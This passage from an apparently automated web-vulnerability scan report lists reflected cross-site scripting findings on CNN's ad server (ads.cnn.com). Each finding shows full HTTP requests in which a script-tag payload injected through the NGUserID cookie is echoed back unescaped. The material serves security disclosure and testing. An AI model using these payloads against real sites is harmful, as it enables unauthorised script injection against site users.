Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=732771

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88e11"><script>alert(1)</script>59f8305d2ec was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=732771 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-288e11"><script>alert(1)</script>59f8305d2ec

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:59:40 GMT
Server: Apache
AdServer: ads1ad13:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 20:59:40 GMT
Pragma: no-cache
Content-Length: 918
Content-Type: text/html

<div style="position:absolute;visibility:hidden;"><img src="http://ads.cnn.com:80/event.ng/Type=count&amp;ClientType=2&amp;ASeg=&amp;AMod=&amp;AOpt=0&amp;AdID=367311&amp;FlightID=268305&amp;TargetID=1
...[SNIP]...
,1515,104391,74817&amp;Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,58920,59987,61089,61284,61883,61913,62119,63498&amp;RawValues=NGUSERID%2Caa55a53-20641-1094127048-288e11"><script>alert(1)</script>59f8305d2ec%2CTIELID%2C1570051619821&amp;random=betworp,bgnoezNewAxxx" width="1" height="1" border="0" />
...[SNIP]...

2.25. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60664"><script>alert(1)</script>10160db97db was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-260664"><script>alert(1)</script>10160db97db; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:06:49 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:06:49 GMT
Pragma: no-cache
Content-Length: 1139
Connection: close
Content-Type: text/html

<div style="position:absolute;visibility:hidden;"><img src="http://ads.cnn.com:80/event.ng/Type=count&amp;ClientType=2&amp;ASeg=&amp;AMod=&amp;AOpt=0&amp;AdID=367311&amp;FlightID=268305&amp;TargetID=1
...[SNIP]...
5,1588,1678,1690,1735,1815,2684,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,58920,59987,61263,61882,61907,61913,63498&amp;RawValues=NGUSERID%2Caa55a53-20641-1094127048-260664"><script>alert(1)</script>10160db97db&amp;random=boeogfg,bgnofhjewqjms" width="1" height="1" border="0" />
...[SNIP]...

2.26. http://ads.cnn.com/html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 404be"><script>alert(1)</script>ebcf0719a27 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2404be"><script>alert(1)</script>ebcf0719a27; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:04 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:04 GMT
Pragma: no-cache
Content-Length: 1014
Connection: close
Content-Type: text/html

<a target="_blank" href="/event.ng/Type=click&FlightID=4621&AdID=220606&TargetID=1515&Segments=934,2247,2595,2743,3285,4008,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,19419,19974,201
...[SNIP]...
7,1063,1285,1588,1678,1690,1735,1815,2684,2741,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59987,61263,61882,61907,61913,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2404be"><script>alert(1)</script>ebcf0719a27&Redirect=http%3A%2F%2Fwww.cnn.com">
...[SNIP]...

2.27. http://ads.cnn.com/html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=255278 [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=255278

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 102ea"><script>alert(1)</script>ef8f7d5a3cf was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=255278 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2102ea"><script>alert(1)</script>ef8f7d5a3cf

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:00:26 GMT
Server: Apache
AdServer: ads1ad13:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:00:26 GMT
Pragma: no-cache
Content-Length: 799
Content-Type: text/html

<a target="_blank" href="/event.ng/Type=click&FlightID=4621&AdID=220606&TargetID=1515&Segments=934,2247,2595,2743,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,19974,20139,30220,31
...[SNIP]...
1,43625&Targets=1515,46824&Values=43,60,80,101,150,1266,1588,2684,2741,4445,47182,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2102ea"><script>alert(1)</script>ef8f7d5a3cf%2CTIELID%2C1570051619821&Redirect=http%3A%2F%2Fwww.cnn.com">
...[SNIP]...

2.28. http://ads.cnn.com/html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6da51"><script>alert(1)</script>f3734144682 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-26da51"><script>alert(1)</script>f3734144682; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:03 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:03 GMT
Pragma: no-cache
Content-Length: 1014
Connection: close
Content-Type: text/html

<a target="_blank" href="/event.ng/Type=click&FlightID=4621&AdID=220606&TargetID=1515&Segments=934,2247,2595,2743,3285,4008,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,19419,19974,201
...[SNIP]...
7,1063,1285,1588,1678,1690,1735,1815,2684,2741,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59987,61263,61882,61907,61913,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-26da51"><script>alert(1)</script>f3734144682&Redirect=http%3A%2F%2Fwww.cnn.com">
...[SNIP]...

Report generated by Hoyt LLC Research at Sun Nov 07 17:38:52 CST 2010.